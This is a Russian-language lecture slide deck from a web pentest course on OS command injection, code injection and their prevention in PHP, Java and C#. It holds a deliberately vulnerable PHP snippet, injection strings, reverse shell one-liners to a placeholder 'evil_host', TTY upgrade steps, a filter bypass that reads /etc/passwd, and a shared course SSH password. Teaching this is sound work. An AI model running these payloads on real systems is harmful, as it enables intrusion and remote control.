<style>
.reveal {
font-size: 36px;
}
</style>
# Web App Pentest
## 3 - OS Command Injection
---
Вопросы по заданиям?
---
## Темы занятия
* Уязвимость OS Command injection
* Reverse shell
* Code Injection
* Рекомендации по исключению
---
## Лирическое отсутупление
### Пентест web vs Анализ защищенности web
Цель пентеста - взломать веб-приложение и использовать его для развития атаки. Как правило пентестерам интересны только уязвимости высокого уровня критичности.
Цель анализа защищенности - найти все уязвимости.
---
## OS Command injection
---
## A03:2021-Injection
Уязвимости к инъекциям, таким как инъекции SQL, NoSQL, Command и LDAP, возникают, когда ненадежные данные отправляются интерпретатору как часть команды или запроса. Внедренные данные злоумышленника могут заставить интерпретатор выполнить непреднамеренные команды или дать возможность получить доступ к данным без надлежащей авторизации.
---
## OS Command Injection
Уязвимость при которой веб-приложение небезопасно подставляет данные, полученные от пользователя в текст команды ОС, которая передается в командную оболочку ОС.
---
```php=
<?php
$command = 'mkdir ' + $_REQUEST['dirname'];
system($command);
?>
```
---
```php=
<?php
$command = 'mkdir ' + $_REQUEST['dirname'];
system($command);
?>
```
`http://vuln.example.com/?dirname=; whoami`
---
```php=
<?php
$command = 'mkdir ' + $_REQUEST['dirname'];
system($command);
?>
```
`http://vuln.example.com/?dirname=; whoami`
```php
echo $command;
mkdir tmp; whoami
```
---
## OS Command injection
Пример в bWAPP
`docker run -p 80:80 raesene/bwapp`
* OS Command injection
* Совместная практика - root-me-PHP Command Injection
* OS Command injection (Blind)
---
## Reverse shell
Соединяется по TCP на слушаемый атакующим адрес/порт и позволяет атакующему выполнять команды в ОС жертвы.
[cheat sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
https://www.revshells.com/
Два основных варианта:
* /bin/bash -c "/bin/bash -i &>/dev/tcp/evil_host/4444 <&1"
* nc evil_host 4444 -e /bin/bash
Вопрос: Зачем обертка в первом варианте?
---
## Back connect receiver
Для тех, у кого нету сервера в интернете
Коннектится так:
`ssh cybered@r420.psorokin.ru -p 2222`
Пароль: cybered_password
На Windows можно использовать ~~putty или xshell~~ тоже
`ssh cybered@r420.psorokin.ru -p 2222`
Вам будут доступны порты 7000-7100
Слушать порт:
`nc -lvp <ваш_порт>`
---
## Совместная практика
- `Reverse Shell`
---
## Прокачать reverse shell
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
```
# In reverse shell
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In Kali
$ stty -a (понять сколько rows и columns, использовать в последней команде)
$ stty raw -echo
$ fg
# In reverse shell
$ export SHELL=bash
$ export TERM=xterm-256color
$ reset
$ stty rows <num> columns <cols>
```
---
## OS Command injection - техники
Отделение одной команды от другой:
* `;`
* `|`
* символ новой строки (0x0a)
* логических операторов `&&` или `||` (в зависимости от результата первой команды)
Выполнение подкоманды:
* в бэктиках ``` `ls` ```;
* через доллар `$(ls)`
* перенаправление в подпроцесс ` >(/bin/bash ....)`
---
## OS Command injection - обход фильтрации
`$IFS` - переменная среды, хранит символ разделителя полей, по умолчанию это пробел.
Можно использовать вместо пробела при его недоступности:
`cat$IFS/etc/passwd`
Также программы можно вызывать через фигурные скобки
`{cat,/etc/issue}`
---
## Code Injection
Контролируемые атакующим данные подставляются в программный код, после чего он исполняется веб-приложением.
Пример:
bWAPP: PHP Code Injection
---
## OS Command Injection
Результат - **Remote Command Execution**.
Или - **Remote Code Execution**.
И то и другое называют **RCE**
---
## OS Command Injection. Как обнаруживать?
### Сканирование на OS Command Injection
Автоматизированная проверка большого количества векторов атаки.
Вопрос: как проверять что инъекция сработала успешна? Особенно для blind?
---
## OS Command Injection. Как обнаруживать?
### Сканирование на OS Command Injection
Хорошие способы:
- DNS запрос;
- временная задержка.
Вопрос: Почему DNS запрос лучше TCP-коннекта?
https://github.com/sorokinpf/cth_wordlists/tree/master/OS%20cmd%20inj/time-based
<демонстрация в Intruder>
---
## OS Command Injection. Как защититься?
Можно выделить два уровня защиты:
* Валидация входных данных
* Безопасный вызов команд ОС
---
## OS Command injection. Как защититься?
### Валидация
* Соответствие типу данных
* Корректность формата
* Регулярные выражения
* Разрешенный набор символов
---
## OS Command injection. Как защититься?
#### Валидация
ОДНОЙ ВАЛИДАЦИИ НЕДОСТАТОЧНО!!!
Но в некоторых случаях она может предотвратить уязвимости, а также другие "баги"
---
## OS Command injection. Как защититься?
#### Валидация
Современные фреймворки имеют специальные компоненты для валидации
```php=
public function createUser(Request $request)
{
$this->validate($request, [
'login' => 'required|max:255',
'age' => 'required|integer',
'email' => 'required|email',
'body' => 'required',
]);
...
}
```
Пример: **Laravel**
---
## OS Command injection. Как защититься?
### Безопасный вызов команд ОС
1. Может можно вообще без команд? Для огромного количества различных функций реализованы библиотеки.
1. Используйте функции языка для вызова других программ без обращения к оболочке ОС (proc_open в PHP)
1. По возможности не передавайте пользовательский ввод в командную оболочку.
1. В крайнем случае используйте специальные функции для экранирования (escapeshellargs,escapeshellcmd в PHP)
---
## OS Command injection. Как защититься?
Экранирование специальных символов
Нужно быть аккуратным, некоторые команды могут принимать параметры, приводящие к выполнению команд даже в случае корректной фильтрации. Пример:
```bash=
find . -exec whoami \; -quit
```
Список таких команд: https://gtfobins.github.io/
---
## OS Command injection. Как защититься? PHP
Экранирование специальных символов в PHP:
- escapeshellarg
- escapechellcmd
```php
system("mkdir ".escapeshellarg($_POST['dirname']));
```
---
## OS Command injection. Как защититься? PHP
Вызов команды напрямую, без шелла (PHP>=7.4):
```php
proc_open(['mkdir',$_POST['dirname'] ],[],$pipes);
```
---
## OS Command injection. Как защититься? Java
`Runtime.exec` и `ProcessBuilder` по умолчанию не передает данные в шелл.
Вызывать можно так:
```java
Runtime.exec(['command',param1,param2]);
.. = new ProcessBuilder('command',param1,param2);
```
Но угрозы типа описанной выше для `find` актуальны.
Также все еже может быть:
```java
Runtime.exec(["/bin/bash", "-c", "mkdir " + request.getParameter("value1")]);
```
---
## OS Command injection. Как защититься? C#
`System.Diagnostics.Process.Start` так же не использует shell по умолчанию.
Но
```C#
process.Start("cmd.exe","/c mkdir "+parameter1);
```
---
## Задания
- на CTFd (http://r420.psorokin.ru)
- тест для самопроверки в LMS
---
{"metaMigratedAt":"2023-06-16T00:45:01.637Z","metaMigratedFrom":"YAML","title":"Web App Pentest - 0x03 - OS Command Injection","breaks":true,"slideOptions":"{\"transition\":\"fade\",\"parallaxBackgroundImage\":\"https://i.imgur.com/YClZ1aY.jpg\"}","contributors":"[{\"id\":\"74341f14-c8ac-49ac-b077-53e0eec889fc\",\"add\":8951,\"del\":1650}]","description":"Вопросы по заданиям?"}